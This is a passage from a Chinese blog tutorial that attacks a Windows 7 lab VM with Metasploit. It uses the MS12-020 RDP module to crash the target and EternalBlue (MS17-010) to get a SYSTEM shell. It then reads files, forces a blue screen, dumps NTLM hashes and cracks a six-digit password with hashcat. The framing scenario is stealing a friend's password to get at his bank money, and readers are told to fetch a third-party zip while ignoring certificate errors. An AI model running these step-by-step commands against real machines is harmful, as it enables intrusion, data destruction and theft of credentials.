  • 选择windows 7 Ultimate (RDP利用的时候要用,很建议,但是如果没用这个版本也没关系)秘钥不用填->
  • 目录自己找就可以->BIOS->
  • 处理器先改成4以上,这样装系统快,然后再改成1,方便被攻击->
  • 内存2G及以上->NAT->SAS(直接下一步)->SCSI(直接下一步)->创建新的->60G(用多少占用多少,不是直接占用60G)->
  • 下一步->下一步->完成!
  • 开启笔记本性能模式会提速哦

使用简易安装即可

image-20221204120427176

挂网,然后大概15分钟内就可以啦(我用了8分钟)。

image-20221204120827252

这个网络随便设置啦,反正咱们要用漏洞打它。

查看win7系统的IP地址

很多种方法看IP啦,我这里是192.168.226.132

image-20221204121202307

给WIN7设置一个密码

如果你有啦就不用啦

设置密码真的很有用?防君子不防小人?
  • 开始->控制面板(在开始的右侧)->
  • 用户账户和安全->更改windows密码->创建密码,这里我写的是114514

    image-20221204121711037

  • 没事的话重启下windows,看看密码创建成功否(可选)

metasploit framework

你可以上面翻一翻如何一键更新所有软件包

下面只更新metasploit-framework

sudo apt-get --only-upgrade install metasploit-framework -y

这个软件是漏洞利用的常见框架,里面也收录了超多的漏洞,其实也是脚本小子的常用之物,那么今天我们就来当一次脚本小子,感受下脚本小子的快乐。

image-20221204121925912

初始化msf,直接终端输入:

sudo msfdb init && msfconsole

等一下就好啦。

有小兔子诶!

image-20221204122232018

漏洞利用:MS12-020

漏洞介绍

CVE-2012-0002

只要操作系统开启Remote Desktop Protocol (RDP)服务,远程攻击者在未经认证的情况下往服务器发送畸形恶意的数据包,便可以以系统权限或者NET SERVICE权限执行任意命令。

受影响设备

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 SP2(用于基于Itanium的系统)
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008
Windows Server 2008 R2
Windows 7

靶机环境的搭建

windows 7 打开RDP功能
  • 你安装的是家庭版家庭版是没有远程桌面滴,如果你是家庭版,请参考下面的教程

    旗舰版可以忽略这个,直接往下走。
    • 重装系统到旗舰版或者使用RDP修改工具(旗舰版也可以用这个方法)
    • RDP修改工具

      • 记下这个网址:https://p.dabbit.net/blog/dl_files/rdpwarp162.zip
      • 打开换个网址

        image-20221204124012588

        ​ 忽略证书错误

        image-20221204124059575

        解压

        image-20221204124143105

        image-20221204124203188

        等一会就修改好啦,然后RDP也不用开啦

        image-20221204124216324

      • 成功修改啦

        image-20221204124249652

      • 开始键+R,输入mstsc,输入127.0.0.2
      • 显示要输入凭证即可

        image-20221204124352251

  • 如果你安装的的是旗舰版

    • 打开资源管理器
    • 右键计算机->属性

      image-20221204123323581

    • 远程设置->允许运行任意版本远程桌面的计算机(较不安全)->确定

      image-20221204123448859

漏洞利用和复现

  • 启动msf

    msfconsole
  • 搜索漏洞

    search ms12-020

    image-20221204135413150

测试是否有漏洞
  • 使用漏洞

    use 0 #检测是否有漏洞
    #或者
    use auxiliary/scanner/rdp/ms12_020_check

    image-20221204135543915

  • 显示参数

    show options

    image-20221204135718308

    看来我们需要输入RHOSTS参数

  • 设置需要的参数

    set RHOSTS 192.168.226.132

    image-20221204135835593

  • 开始测试

    run

    image-20221204135908993

    看样子似乎存在

开打
exit
sudo su
msfconsole
search ms12-020
use 1
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.226.132
run

image-20221204140507913

打不进去?

image-20221204140706026

没关系,WIN7 的核心太多了

我们把win7的核心改成一个。

image-20221204140823103

image-20221204145509120

  • 再次run
  • 成功打掉!

    image-20221204145642601

    image-20221204145731139

漏洞利用:MS17-010

漏洞:CVE-2017-0143,CVE-2017-0144,CVE-2017-0145,CVE-2017-0146,CVE-2017-0147,CVE-2017-0148

永恒之蓝漏洞,也就是当年的勒索病毒WannaCrypt

远程代码执行,攻击者可以获得SYSTEM用户权限,在被控制电脑上完全畅通无阻,整台电脑都已经被控制。出现什么样的事情,完全取决于被攻击者

受影响设备

Windows 2000
Windows XP | Windows Server 2003
Windows Vista
Windows 7 | Windows Server 2008 | Windows Server2008 R2
Windows 8 | Windows Server 2012
Windows 8.1 | Windows Server 2012 R2
以下受影响较小,默认SMBv1关闭
Windows 10 | Windows Server 2016
  • 在当年几乎是全部出现了问题,勒索病毒全网,包括银行ATM机等等

靶机环境搭建

  • 需要关闭windows的防火墙
  • 只要没有修复漏洞补丁和安装杀毒软件,很容易进行攻击。
防火墙的关闭

打开控制面板:(开始键+R:输入control)

  • 进入到这个位置:控制面板\系统和安全\Windows 防火墙

    (系统和安全->windows防火墙)

    image-20221204154242033

    image-20221204154325657

    image-20221204154339109

    image-20221204154350415

漏洞利用和复现

漏洞扫描(可选,速度很慢)

#在一个终端内
sudo su
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
show options

set RHOSTS 192.168.226.0/24 #扫描当前网络下所有的虚拟机,很慢

set RHOSTS 192.168.226.132 #扫描当前网络的两个虚拟机设备
run

set RHOSTS 192.168.226.128 #扫描当前网络的两个虚拟机设备
run

image-20221204153417034

扫描结果
  • 如果显示TimeoutRex::ConnectionTimeout: The connection with (192.168.226.128:445) timed out,大概率是防火墙未关闭。
  • 如果显示SMB Login ErrorAn SMB Login Error occurred while connecting to the IPC$ tree.漏洞可能已经修复
  • 如果显示NOT appear vulnerableHost does NOT appear vulnerable.表示漏洞可能已经被修复
  • 如果显示likely VULNERABLEHost is likely VULNERABLE to MS17-010!表示机会比较大,大概率有漏洞。

image-20221204154858796

漏洞利用

OK,我们已经扫描到需要攻击的靶机,现在开始利用漏洞

#在一个终端内
sudo su #切换到root
msfconsole #进入msf
search ms17-010 #搜索漏洞
use 0 #使用漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show options #显示参数
set RHOSTS 192.168.226.132

image-20221204153146352

image-20221204165803902

开打

run

这样的情况就是打进去啦

image-20221204170010117

查询当前用户

shell
whoami

image-20221204171019875

权限是system,也就是系统的最高权限。

查看文件

在桌面新建一个文本文件

image-20221204171140611

尝试访问:

type C:\users\dayi\desktop\ovo.txt

#dayi是我的用户名
#desktop是桌面文件夹
#ovo.txt 是刚刚建立的文件

image-20221204171619149

成功查看到数据

如果想访问其他的文件也同理。

能做的事情

  • 输入exit,然后输入help

    image-20221204171911028

  • 能做的事情非常多
  • 我们启动一个计算机弹在桌面上:

    enumdesktops #显示当前会话的桌面
    execute -s 1 -f calc.exe #在会话1上启动计算器,因为会话0是SYSTEM用户的桌面

    image-20221204172510487

    image-20221204172529323

  • 打开记事本

    execute -s 1 -f notepad.exe

    image-20221204173117382

  • 查看arp表

    arp

    image-20221204173528880

  • 杀内核,直接蓝屏

    shell
    taskkill /f /im win*

    image-20221204173649381

  • 重启计算机(不一定可以执行成功,理论没有问题)

    reboot #重启
    #或者输入下面三行
    shell
    shutdown -r -f -t 0 #重启
    shutdown -s -f -t 0 #关机

靶机密码破解|综合:

模拟场景:我们获得了哥们的电脑。我们通过一定的手段得知,哥们的电脑密码与银行卡密码一样。

删除密码很容易,但是哥们的电脑密码跟银行卡密码一样。

我们想要的是米,于是我们需要获得电脑密码的原文。

利用MS17-010进行破解

准备工具

待破解密码的电脑,有永恒之蓝漏洞。

image-20221204173754654

利用MS17-010进行渗透

  1. 扫描当前网络下机器的IP地址

    nmap -sn 192.168.226.0/24

    image-20221204174039036

    推测这两台是可能是待破解机器IP。

    考虑到一般情况,可以排除128是我们已知的服务器,所以132就是我们要破解的机器。

  2. 信息收集,使用nmap收集全部的信息

    nmap -A 192.168.226.132 #扫描全部可能的信息,速度较慢

    image-20221204175025831

  3. 发现可能性存在漏洞,使用MS17-010扫描工具进行扫描

    sudo su #切换到root用户
    msfconsole #打开msf控制台
    use auxiliary/scanner/smb/smb_ms17_010 #使用ms17-010漏洞扫描工具
    show options #显示选项
    set RHOSTS 192.168.226.132 #设置主机 ←复制的时候别复制上中文啦
    run #开始测试

    image-20221204175145673

  4. 发现有希望打入

    image-20221204175259271

  5. 尝试渗透

    use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
    set RHOSTS 192.168.226.132
    run

    image-20221204175415830

  6. 进入成功

    image-20221204175533576

  7. 输入hashdump

    获得密码哈希运算之后的值

    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    dayi:1000:aad3b435b51404eeaad3b435b51404ee:0a1f2055b4ba71c5251d8ef7c235996b:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    meterpreter > 

image-20221204175643740

  1. 尝试暴力破解hash值

    根据构想情况,哥们的密码是银行密码所以是6位数字,但是是多少咱们不知道。

    我们已经知道哥们的密码是6位数字

    密码的hash值是0a1f2055b4ba71c5251d8ef7c235996b

image-20221204175958482

使用hashcat进行密码爆破

已知
  • windows 7 的密码哈希方式NTLM
  • NT LAN Manager=NTLM
  • 需要破解的hash值为0a1f2055b4ba71c5251d8ef7c235996b
  • 原文是6位数字
  • 哈希猫(hashcat)是一个高级密码恢复工具

构建指令
  • 参数-a

    • -a 0 字典模式
    • -a 1 组合模式,从字典组合
    • -a 3 暴力模式
    • -a 6/7 组合+掩码(-a 6)+ 单词表(-a 7)
    • -a 9 关联攻击,用相关的用户名、文件名、提示
  • 参数-m

  • 参数--force

    --force Ignore warnings  #忽略警告
  • 参数内置字符

    Built-in charsets
    ?l = abcdefghijklmnopqrstuvwxyz
    ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
    ?d = 0123456789
    ?h = 0123456789abcdef
    ?H = 0123456789ABCDEF
    ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    ?a = ?l?u?d?s
    ?b = 0x00 - 0xff
  • 更多参数可以看这个

    https://hashcat.net/wiki/doku.php?id=hashcat

综上,我们可以构建指令

hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
运行
sudo su
#可选,测速运行:
time hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
#正常运行
hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d

image-20221204181931259

运行起来还是非常快的

image-20221204182447260

整个过程用了3.5秒
密码是:114514

尝试登录系统

输入密码:114514

image-20221204182605777

登陆成功!

image-20221204182726897

任务完成!

markdown 源文件74KB
2327 行,12996词

最后修改:2022 年 12 月 05 日
如果觉得我的文章对你有用,请随意赞赏